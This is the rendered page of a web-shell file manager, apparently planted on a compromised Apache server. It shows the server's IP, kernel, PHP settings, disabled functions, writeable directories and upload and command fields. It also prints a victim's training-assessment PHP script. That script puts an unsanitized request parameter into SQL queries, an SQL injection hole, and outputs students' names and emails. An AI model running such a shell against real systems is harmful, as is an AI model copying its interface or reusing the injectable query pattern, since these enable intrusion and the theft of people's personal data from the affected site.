X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 18.191.200.151
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/shop/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/shop/test/batch1.php
<?php
session_start();
require_once('Connections/kbbwebsite.php');
ini_set("display_errors","1");

ini_set("display_startup_errors","1");
ini_set('max_execution_time', '600');
header("Expires: Thu, 01 Jan 1970 00:00:01 GMT"); 
$f1=0;
$f2=0;
$f3=0;
$f4=0;
$f5=0;
$sno=0;
$bcode=$_REQUEST['batchcode'];

?>
<!DOCTYPE html>
<html lang="en">

  <head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
    <style>
  table {
    border-collapse: collapse;
  }
  th, td {
    border: 1px solid #000;
    padding: 2px;
    text-align: center;
    font-size: 12px;
    
  }
  tr.noBorder th {
  border: 0;
  text-align: left;
}
</style>
	</head>
	<body>
<table width="100%" >
<!--<tr><th>ID</th><th>Date</th><th>Quiz</th><th>User ID</th><th>Name</th><th>Email</th><th>Marks Obtained</th><th>f1</th><th>core1</th><th>f2</th><th>core2</th><th>f3</th><th>noncore3</th><th>f4</th><th>noncore4</th><th>f5</th><th>noncore5</th></tr>-->

<?php
	$query_findcategories12 = "SELECT * FROM batch where batch_code ='$bcode'";
	$findcategories12 = mysqli_query($kbbwebsite ,$query_findcategories12) or die(mysqli_error());
	 
while($row12 = mysqli_fetch_assoc($findcategories12))
  {
?>
<tr class="noBorder"><th colspan=3>BATCH : <?php echo $row12["batch_code"] ;?></th><th ><p>&nbsp;</p></th><th colspan=4>JOBROLE : <?php echo $row12["course_name"] ;?></th><th ><p>&nbsp;</p></th><th colspan=4>TRAINING TYPE : <?php echo 'xxxx';?> </th><th ><p>&nbsp;</p></th><th colspan=4>ASSESSMENT DATE: <?php echo $row12["assessment_date"] ;?></tr>

<tr class="noBorder"><th colspan=3>TRAINING LOCATION : <?php echo $row12["center_name"] ;?></th><th ><p>&nbsp;</p></th><th colspan=4>TC SPOC : <?php echo'xxxx';?></th><th ><p>&nbsp;</p></th><th colspan=9>Address : <?php echo $row12["address"] ;?> </th></tr>

<tr><th rowspan=4>SNo.</th><th rowspan=4>Name</th><th rowspan=4>Email</th><th rowspan=4>Attandance</th><th rowspan=4>Aadhaar No.</th><th colspan=4>Core</th><th colspan=6>Noncore</th><th colspan=3 rowspan=2>Final Result</th></tr>
<tr><th colspan=2> Carry out cutting operations</th><th colspan=2> Contribute to achieving product quality in cutting processes</th><th colspan=2>Maintain the work area, tools and machines</th><th colspan=2>Maintain health, safety and security at workplace</th><th colspan=2> Comply with industry, regulatory and organizational requirements</th></tr>
<tr><th>Theory</th><th>Practical</th><th>Theory</th><th>Practical</th><th>Theory</th><th>Practical</th><th>Theory</th><th>Practical</th><th>Theory</th><th>Practical</th><th rowspan=2>Pass%</th><th rowspan=2>Candidate%</th><th rowspan=2>Result</th></tr>
<tr><th>30</th><th>70</th><th>35</th><th>15</th><th>15</th><th>35</th><th>10</th><th>15</th><th>10</th><th>15</th></tr>



<?php $bid= $row12["id"];

	$query_findcategories11 = "SELECT * FROM batch_user where batch_id ='$bid'";
	$findcategories11 = mysqli_query($kbbwebsite ,$query_findcategories11) or die(mysqli_error());
	 
while($row11 = mysqli_fetch_assoc($findcategories11))
  {
$uid= $row11["user_id"];




$query_findcategories1 = "SELECT * FROM quizresults where user_id ='$uid'";
$findcategories1 = mysqli_query($kbbwebsite ,$query_findcategories1) or die(mysqli_error());
	 
while($row1 = mysqli_fetch_assoc($findcategories1))
  {
$f1=0;
$f2=0;
$f3=0;
$f4=0;
$f5=0;
$tot=0;
$result='Fail';
 $id= $row1["id"]; 
 $quiz_id= $row1["quiz_id"]; 
 $user_id= $row1["user_id"]; 
 $marks_obtained= $row1["marks_obtained"]; 
 $caq = json_decode($row1["correct_answer_questions"]);
 $waq = explode(" , ",$row1["wrong_answer_questions"]);
 $created_at= $row1["created_at"]; 


	$queryu = "SELECT * FROM users where id='".$user_id."'";
	$resultu = mysqli_query($kbbwebsite ,$queryu) or die(mysqli_error());
 while($rowu = mysqli_fetch_assoc($resultu))
  {

$name=$rowu["name"];
$email=$rowu["email"];
  }


 $queryq = "SELECT * FROM quizzes where id='". $quiz_id."'";
	$resultq = mysqli_query($kbbwebsite ,$queryq) or die(mysqli_error());
 while($rowq = mysqli_fetch_assoc($resultq))
  {

$quiz_title=$rowq["title"];

  } 
  
  $queryi = "SELECT * FROM `interview` WHERE user_id='". $user_id."'";
	$resulti = mysqli_query($kbbwebsite ,$queryi) or die(mysqli_error());
 while($rowi = mysqli_fetch_assoc($resulti))
  {
$core1=$rowi["core1"];
$core2=$rowi["core2"];
$noncore3=$rowi["noncore3"];
$noncore4=$rowi["noncore4"];
$noncore5=$rowi["noncore5"];
}  
  

if ($quiz_id==74)
{
	for($i=0;$i<count($caq) ;$i++)
	{
	   
		if ( $caq[$i] == '17978' ||$caq[$i] == '17979' ||$caq[$i] == '17980' ||$caq[$i] == '17981' ||$caq[$i] == '17982')
		{
			$f1 += 1;
		}
		if ( $caq[$i] == '17983' ||$caq[$i] == '17984' ||$caq[$i] == '17985' ||$caq[$i] == '17986' ||$caq[$i] == '17987')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17963' ||$caq[$i] == '17964' ||$caq[$i] == '17965' ||$caq[$i] == '17966' ||$caq[$i] == '17967')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17968' ||$caq[$i] == '17969' ||$caq[$i] == '17970' ||$caq[$i] == '17971' ||$caq[$i] == '17972')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17973' ||$caq[$i] == '17974' ||$caq[$i] == '17975' ||$caq[$i] == '17976' ||$caq[$i] == '17977')
		{
			$f5 += 1;
		}
	}
}


	
if ($quiz_id==76)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17913' ||$caq[$i] == '17914' ||$caq[$i] == '17915' ||$caq[$i] == '17916' ||$caq[$i] == '17917')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17918' ||$caq[$i] == '17919' ||$caq[$i] == '17920' ||$caq[$i] == '17921' ||$caq[$i] == '17922')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17923' ||$caq[$i] == '17924' ||$caq [$i]== '17925' ||$caq[$i] == '17926' ||$caq [$i]== '17927')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17928' ||$caq[$i] == '17929' ||$caq[$i] == '17930' ||$caq[$i] == '17931' ||$caq[$i] == '17932')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17933' ||$caq[$i] == '17934' ||$caq[$i] == '17935' ||$caq[$i] == '17936' ||$caq[$i]== '17937')
		{
			$f5 += 1;
		}
	}
}


if ($quiz_id==77)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17938' ||$caq[$i] == '17939' ||$caq[$i] == '17940' ||$caq[$i] == '17941' ||$caq[$i] == '17942')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17943' ||$caq[$i] == '17944' ||$caq [$i]== '17945' ||$caq[$i] == '17946' ||$caq [$i]== '17947')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17948' ||$caq[$i] == '17949' ||$caq[$i] == '17950' ||$caq[$i] == '17951' ||$caq[$i] == '17952')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17953' ||$caq[$i] == '17954' ||$caq[$i] == '17955' ||$caq[$i] == '17956' ||$caq[$i]== '17957')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17958' ||$caq[$i] == '17959' ||$caq[$i] == '17960' ||$caq[$i] == '17961' ||$caq[$i] == '17962')
		{
			$f5 += 1;
		}
	}
}

if ($quiz_id==75)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17988' ||$caq[$i] == '17989' ||$caq[$i] == '17990' ||$caq[$i] == '17991' ||$caq[$i] == '17992')
		{
			$f1 += 1;
			
		}
		if ( $caq[$i] == '17993' ||$caq[$i] == '17994' ||$caq [$i]== '17995' ||$caq[$i] == '17996' ||$caq [$i]== '17997')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17998' ||$caq[$i] == '17999' ||$caq[$i] == '18000' ||$caq[$i] == '18001' ||$caq[$i] == '18002')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '18003' ||$caq[$i] == '18004' ||$caq[$i] == '18005' ||$caq[$i] == '18006' ||$caq[$i]== '18007')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '18008' ||$caq[$i] == '18009' ||$caq[$i] == '18010' ||$caq[$i] == '18011' ||$caq[$i] == '18012')
		{
			$f5 += 1;
		}
	}
	
}	
	
if ($quiz_id==87)
{
   
	for($i=0;$i<count($caq);$i++)
	{
		if ( $caq[$i] == '17913' ||$caq[$i] == '17914' ||$caq[$i] == '17915' ||$caq[$i] == '17916' ||$caq[$i] == '17917' || $caq[$i] == '17938' ||$caq[$i] == '17939' ||$caq[$i] == '17940' ||$caq[$i] == '17941' ||$caq[$i] == '17942')
		{
			$f1 += 1;
			
		}
		
		
		if ( $caq[$i] == '17918' ||$caq[$i] == '17919' ||$caq[$i] == '17920' ||$caq[$i] == '17921' ||$caq[$i] == '17922' ||  $caq[$i] == '17943' ||$caq[$i] == '17944' ||$caq [$i]== '17945' ||$caq[$i] == '17946' ||$caq [$i]== '17947')
		{
			$f2 += 1;
		}
		if ( $caq[$i] == '17923' ||$caq[$i] == '17924' ||$caq [$i]== '17925' ||$caq[$i] == '17926' ||$caq [$i]== '17927' ||$caq[$i] == '17948' ||$caq[$i] == '17949' ||$caq[$i] == '17950' ||$caq[$i] == '17951' ||$caq[$i] == '17952')
		{
			$f3 += 1;
		}
		if ( $caq[$i] == '17928' ||$caq[$i] == '17929' ||$caq[$i] == '17930' ||$caq[$i] == '17931' ||$caq[$i] == '17932' || $caq[$i] == '17953' ||$caq[$i] == '17954' ||$caq[$i] == '17955' ||$caq[$i] == '17956' ||$caq[$i]== '17957')
		{
			$f4 += 1;
		}
		if ( $caq[$i] == '17933' ||$caq[$i] == '17934' ||$caq[$i] == '17935' ||$caq[$i] == '17936' ||$caq[$i]== '17937' ||  $caq[$i] == '17958' ||$caq[$i] == '17959' ||$caq[$i] == '17960' ||$caq[$i] == '17961' ||$caq[$i] == '17962')
		{
			$f5 += 1;
		}
		
		if( $f1 >=5 )
		{
		  $f1=5;  
		}
		if( $f2 >=5 )
		{
		  $f2=5;  
		}
		
		if( $f3 >=5 )
		{
		  $f3=5;  
		}
		if( $f4 >=5 )
		{
		  $f4=5;  
		}
		if( $f5 >=5 )
		{
		  $f5=5;  
		}
	}
	
	
	
	
	
}
$sno=$sno+1;

$f1=$f1*6;
$f2=$f2*7;
$f3=$f3*3;
$f4=$f4*2;
$f5=$f5*2;
$tot= ($f1+$core1+$f2+$core2+$f3+$noncore3+$f4+$noncore4+$f5+$noncore5)*.4;
if($tot >=70){$result='Pass';}
if($tot ==0){$result='Absent';}
?>


<tr><td><?php echo $sno; ?></td><td style="text-transform: uppercase;"><?php echo $name; ?></td><td><?php echo $email; ?></td><td><?php echo 'Present'; ?></td><td></td><td width="50px"><?php echo $f1; ?></td><td width="50px"><?php echo $core1; ?></td><td width="50px"><?php echo $f2; ?></td><td width="50px"><?php echo $core2; ?></td><td width="50px"><?php echo $f3; ?></td><td width="50px"><?php echo $noncore3; ?></td><td width="50px"><?php echo $f4; ?></td><td width="50px"><?php echo $noncore4; ?></td><td width="50px"><?php echo $f5; ?></td><td width="50px"><?php echo $noncore5; ?></td><td ><?php echo '70'; ?></td><td ><?php echo $tot; ?></td><td ><?php echo $result; ?></td></tr>	

<?php 
}
}
}
?>
</table>

<!-- 
  
$sql = "UPDATE sheet1 SET City='".$id."',lat='".$lat."',lon='".$lon."' WHERE City='". $city."'"; 
	if(mysqli_query($link, $sql)){ 
    echo "Record was updated successfully."; 
} else { 
    echo "ERROR: Could not able to execute $sql. "  
                            . mysqli_error($link); 
}
-->			
             
</body>
</html>

Anon7 - 2022
SCDN GOK